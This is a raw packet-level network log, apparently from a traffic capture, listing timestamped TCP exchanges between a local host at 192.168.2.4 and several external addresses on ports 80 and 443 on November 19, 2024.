Nov 19, 2024 19:14:21.287395954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287408113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287431002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287442923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287444115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287444115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287455082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287467003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287482023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287494898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287508011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287519932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287520885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287535906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287548065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287560940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287575006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287756920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287756920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287756920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287756920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287758112 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287792921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287805080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287817001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287830114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287843943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287844896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287944078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.287955046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287967920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287980080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.287992001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288007021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.288007975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288018942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288024902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288027048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288028002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288033009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288048029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288060904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288072109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288079977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288085938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.288085938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.288086891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.288105011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288119078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288130999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288144112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288156986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288160086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.288161039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.288172960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288184881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288199902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288209915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.288212061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288224936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288237095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288250923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288263083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.288263083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.288275003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288288116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288296938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.288340092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.288870096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288882017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288894892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288907051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288918972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288932085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288944006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288954020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.288958073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288975000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.288988113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289001942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289005995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289005995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289005995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289033890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289041042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289052963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289063931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289077044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289092064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289103985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289118052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289129972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289129972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289129972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289130926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289143085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289155006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289190054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289201975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289213896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289220095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289221048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289227009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289239883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289251089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289264917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289278030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289290905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289309978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289324999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289339066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289395094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289395094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289395094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289396048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289396048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289457083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289724112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289747000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289762020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289773941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289786100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289799929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289804935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289810896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289817095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289822102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289832115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289832115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289834976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289853096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:21.289885998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.289926052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.330956936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:21.332035065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:29.343611956 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:29.343648911 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:29.343843937 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:29.344136000 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:29.344177961 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:29.344288111 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:29.345529079 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:29.345541954 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:29.345678091 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:29.345694065 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.110070944 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.110395908 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.110410929 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.111447096 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.111536980 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.112346888 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.112508059 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.112533092 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.113745928 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.113797903 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.397105932 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.397242069 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.397475004 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.397614002 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.399723053 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.399741888 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.399751902 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.399782896 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.409672976 CET	49762	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:14:30.409719944 CET	443	49762	142.250.186.68	192.168.2.4
Nov 19, 2024 19:14:30.409787893 CET	49762	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:14:30.409979105 CET	49762	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:14:30.409996986 CET	443	49762	142.250.186.68	192.168.2.4
Nov 19, 2024 19:14:30.453161001 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.453368902 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.516782045 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.516803026 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.516810894 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.516823053 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.516829967 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.516854048 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.516887903 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.516907930 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.517182112 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.517182112 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.530287981 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.530319929 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.530328035 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.530374050 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.530390978 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.530412912 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.530435085 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.530467033 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.530482054 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.530482054 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.530482054 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.530508995 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.603609085 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.603632927 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.603813887 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.603844881 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.605385065 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.605405092 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.605489016 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.605504990 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.605693102 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.617894888 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.617922068 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.617958069 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.617976904 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.617991924 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.618020058 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.619812965 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.619842052 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.619888067 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.619896889 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.619910002 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.619932890 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.619970083 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.619978905 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.620018959 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.620022058 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.620070934 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.638571978 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.638592005 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.677699089 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.677726984 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.677937984 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.678335905 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.678353071 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.690280914 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.690301895 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.691332102 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.691332102 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.691350937 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.691525936 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.691554070 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.692445040 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.692445040 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.692445040 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.692459106 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.692543030 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.692552090 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.693058014 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.693058014 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.693058014 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.693073034 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.693648100 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.693679094 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.693682909 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.693694115 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.694117069 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.694117069 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.777718067 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.777736902 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.777852058 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.777869940 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.778002977 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.778528929 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.778543949 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.778703928 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.778714895 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.778976917 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.779118061 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.779133081 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.779254913 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.779254913 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.779262066 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.779328108 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.780056000 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.780067921 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.780169964 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.780178070 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.780266047 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.780905962 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.780920982 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.781043053 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.781050920 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.781105042 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.781130075 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.781130075 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.781135082 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.781152010 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.781164885 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.781183004 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.781197071 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.781305075 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.782516003 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.782531023 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.800434113 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.800514936 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:30.800595045 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.800808907 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:30.800843954 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.009048939 CET	49768	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:31.009082079 CET	443	49768	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:31.009335995 CET	49768	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:31.010518074 CET	49768	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:31.010538101 CET	443	49768	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:31.078083992 CET	443	49762	142.250.186.68	192.168.2.4
Nov 19, 2024 19:14:31.078624964 CET	49762	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:14:31.078640938 CET	443	49762	142.250.186.68	192.168.2.4
Nov 19, 2024 19:14:31.079822063 CET	443	49762	142.250.186.68	192.168.2.4
Nov 19, 2024 19:14:31.079884052 CET	49762	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:14:31.080923080 CET	49762	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:14:31.080982924 CET	443	49762	142.250.186.68	192.168.2.4
Nov 19, 2024 19:14:31.123595953 CET	49762	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:14:31.123615980 CET	443	49762	142.250.186.68	192.168.2.4
Nov 19, 2024 19:14:31.171823025 CET	49762	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:14:31.314085007 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.314780951 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.314816952 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.315926075 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.316015005 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.316464901 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.316544056 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.316663980 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.316680908 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.360976934 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.422838926 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.422868967 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.422878027 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.422909975 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.422951937 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.423053980 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.423053980 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.423053980 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.423100948 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.423249006 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.482448101 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.486862898 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.486936092 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.488100052 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.488183975 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.488596916 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.488681078 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.488981962 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.508449078 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.508476019 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.508549929 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.508599043 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.508631945 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.508651972 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.509074926 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.510863066 CET	443	49763	13.107.246.45	192.168.2.4
